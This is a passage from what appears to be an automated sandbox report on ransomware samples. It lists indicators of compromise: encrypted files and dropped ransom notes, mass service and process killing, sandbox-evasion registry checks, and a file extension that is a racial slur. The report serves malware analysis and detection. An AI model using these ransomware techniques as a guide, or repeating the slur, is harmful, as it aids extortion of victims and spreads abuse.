Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\MedTile.scale-200_contrast-white.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Wide310x150Logo.scale-400.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_x64__8wekyb3d8bbwe\Assets\ClippingTool.targetsize-20.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64__8wekyb3d8bbwe\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-48_altform-unplated_devicefamily-colorfulunplated.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-140.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.targetsize-60_contrast-black.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteSectionWideTile.scale-200.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailSplashLogo.scale-250.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations_retina.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsStore_11910.1002.5.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppTiles\contrast-black\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-black\BadgeLogo.scale-200_contrast-black.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Work\RTL\contrast-black\LargeTile.scale-200.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\PROFILE\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Square44x44Logo.targetsize-30_altform-unplated.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_x64__8wekyb3d8bbwe\Assets\1x1transparent.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\ExchangeWideTile.scale-200.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-il\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-16_altform-unplated_contrast-white.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\OutlookMailSmallTile.scale-100.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fi-fi\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Portal\1033\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-80_altform-unplated_contrast-white.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-32_altform-unplated.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-Generic-Light.scale-100.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.contrast-white_targetsize-48.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.34.28001.0_x64__8wekyb3d8bbwe\Assets\GameBarNotificationLogo.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppList.targetsize-256_contrast-black.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Square44x44Logo.targetsize-20.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Common.View.UWP\Strings\ca-ES\View3d\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-30_altform-unplated_contrast-white.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\InsiderHubLargeTile.scale-200_contrast-black.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-gb\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_1.1911.21713.0_x64__8wekyb3d8bbwe\Assets\Store\Square150x150Logo.scale-125.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ScreenSketch_10.1907.2471.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\ScreenSketchSquare71x71Logo.scale-125_contrast-black.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\CalculatorWideTile.contrast-black_scale-100.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\Dismiss.scale-64.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Home\LTR\contrast-black\MedTile.scale-200.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\WideTile.scale-200_contrast-white.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-cn\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File created C:\Program Files\Mozilla Firefox\uninstall\HOW TO DECRYPT FILES.txt Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteSmallTile.scale-100.png Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\Tasks\Update23.job Trojan-Ransom.Win32.PornoBlocker.ajrm-fd5b4498229d14ab6890d904829292acb73c6187150bc2622ebd25609a9f062e.exe File opened for modification C:\Windows\win.ini UDS-Trojan-Ransom.Win32.GandCrypt.gen-c06616518dbe1c5c499759b40aec1272556a7e3f0af702dd05d78b8ef26eba01.exe -
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 7232 sc.exe 5224 sc.exe 4232 sc.exe 6840 sc.exe 2428 sc.exe 7132 sc.exe 5248 sc.exe 8428 sc.exe 4736 sc.exe 1100 sc.exe 1392 sc.exe 6252 sc.exe 5876 sc.exe 1408 sc.exe 7072 sc.exe 4356 sc.exe 4880 sc.exe 4292 sc.exe 5624 sc.exe 3412 sc.exe 6864 sc.exe 5572 sc.exe 2428 sc.exe 6644 sc.exe 6340 sc.exe 3332 sc.exe 316 sc.exe 4320 sc.exe 5996 sc.exe 5748 sc.exe 6084 sc.exe 3964 sc.exe 7632 sc.exe 3336 sc.exe 4292 sc.exe 6824 sc.exe 5832 sc.exe 7088 sc.exe 1468 sc.exe 8084 sc.exe 756 sc.exe 5852 sc.exe 6860 sc.exe 5944 sc.exe 5548 sc.exe 1860 sc.exe 1856 sc.exe 1892 sc.exe 5348 sc.exe 7308 sc.exe 6828 sc.exe 4864 sc.exe 6720 sc.exe 1428 sc.exe 3920 sc.exe 8 sc.exe 3196 sc.exe 5732 sc.exe 8036 sc.exe 6336 sc.exe 5604 sc.exe 5844 sc.exe 5488 sc.exe 5664 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 4 IoCs
pid pid_target Process procid_target 3532 3236 WerFault.exe 108 4232 1412 WerFault.exe 110 6012 6024 WerFault.exe 157 5412 3172 WerFault.exe 106 -
System Location Discovery: System Language Discovery 1 TTPs 38 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Trojan-Ransom.Win32.Blocker.lckf-950bed3291dbba942da0f5eebe31debe16a6930aff4a1e181469d85d61d61490.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Trojan-Ransom.Win32.PornoBlocker.ajrm-fd5b4498229d14ab6890d904829292acb73c6187150bc2622ebd25609a9f062e.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HEUR-Trojan-Ransom.Win32.GandCrypt.gen-0f45e288165b33ba9a1e2ab5464e5a0aeb36a732d7be113adc8bc9861c546011.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language killer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HEUR-Trojan-Ransom.Win32.Blocker.gen-936c820fd6780e9edb880cffc274c944ceb189e8f10915eb333fa5898d4e50be.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HEUR-Trojan-Ransom.Win32.Encoder.gen-685ebd61276b3e8c16e124f49e858c247f12dfe156bd0ac9e0c0762b6687920b.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UDS-Trojan-Ransom.Win32.GandCrypt.gen-c06616518dbe1c5c499759b40aec1272556a7e3f0af702dd05d78b8ef26eba01.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HEUR-Trojan-Ransom.Win32.Generic-397c9e1bdb52321de033a577e2277331ca184487954a8689eb1f7d3b61d12d08.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WMIC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WMIC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WMIC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language jusched.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HEUR-Trojan-Ransom.MSIL.Agent.gen-e43f0cf8905305adbb28597ad256c8e0547fe3ce3c648095635c1ae94ab0dbb9.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language HEUR-Trojan-Ransom.Win32.Crypren.gen-43929c8548157f399526e8318e42e34f78055b22bb4b3e6e83ab58f63d017f44.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Trojan-Ransom.Win32.Delf.ss-e90cd8761306b7ee94fa9561e36a49323edb9a6e27213def9ecc93dbae3f2fb7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5760 cmd.exe -
System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5424 cmd.exe -
Checks SCSI registry key(s) 3 TTPs 11 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e3c1c56297b3270b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e3c1c5620000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900e3c1c562000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de3c1c562000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000e3c1c56200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Trojan-Ransom.Win32.RagnarLocker.e-afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe -
Discovers systems in the same network 1 TTPs 2 IoCs
pid Process 6768 net.exe 3640 net.exe -
Kills process with taskkill 64 IoCs
pid Process 7556 taskkill.exe 3200 taskkill.exe 7116 taskkill.exe 1212 taskkill.exe 5464 taskkill.exe 5996 taskkill.exe 292 taskkill.exe 2360 taskkill.exe 3792 taskkill.exe 7404 taskkill.exe 6764 taskkill.exe 9260 taskkill.exe 7128 taskkill.exe 5920 taskkill.exe 5080 taskkill.exe 6612 taskkill.exe 8004 taskkill.exe 7392 taskkill.exe 3076 taskkill.exe 6892 taskkill.exe 6040 taskkill.exe 292 Process not Found 5228 taskkill.exe 7508 taskkill.exe 6408 taskkill.exe 5572 taskkill.exe 2872 taskkill.exe 5584 taskkill.exe 5244 taskkill.exe 6420 taskkill.exe 1304 taskkill.exe 6580 taskkill.exe 8244 taskkill.exe 8384 taskkill.exe 5188 taskkill.exe 7904 taskkill.exe 720 taskkill.exe 5656 Process not Found 5444 taskkill.exe 1412 taskkill.exe 6712 taskkill.exe 6804 taskkill.exe 9124 Process not Found 3160 taskkill.exe 6456 taskkill.exe 5572 taskkill.exe 9304 taskkill.exe 9176 taskkill.exe 6256 Process not Found 5996 taskkill.exe 3208 taskkill.exe 2280 taskkill.exe 7356 taskkill.exe 5864 taskkill.exe 2468 taskkill.exe 3984 Process not Found 4984 taskkill.exe 5732 taskkill.exe 9700 taskkill.exe 7204 Process not Found 5708 taskkill.exe 5812 taskkill.exe 6952 taskkill.exe 8172 taskkill.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.nigger Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.nigger\ = "THCOEVVQVLADXGU" Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\THCOEVVQVLADXGU\ = "CRYPTED!" Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\THCOEVVQVLADXGU\shell\open\command Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\THCOEVVQVLADXGU\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2GPT3rp9HC5quFQ.exe" Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\THCOEVVQVLADXGU Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\THCOEVVQVLADXGU\DefaultIcon Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\THCOEVVQVLADXGU\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2GPT3rp9HC5quFQ.exe,0" Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\THCOEVVQVLADXGU\shell Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\THCOEVVQVLADXGU\shell\open Trojan-Ransom.Win32.Xorist.lk-4509eb48fa6eb2117118bd33eaebfe190028e3d54976596878814031591dafe8.exe Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings 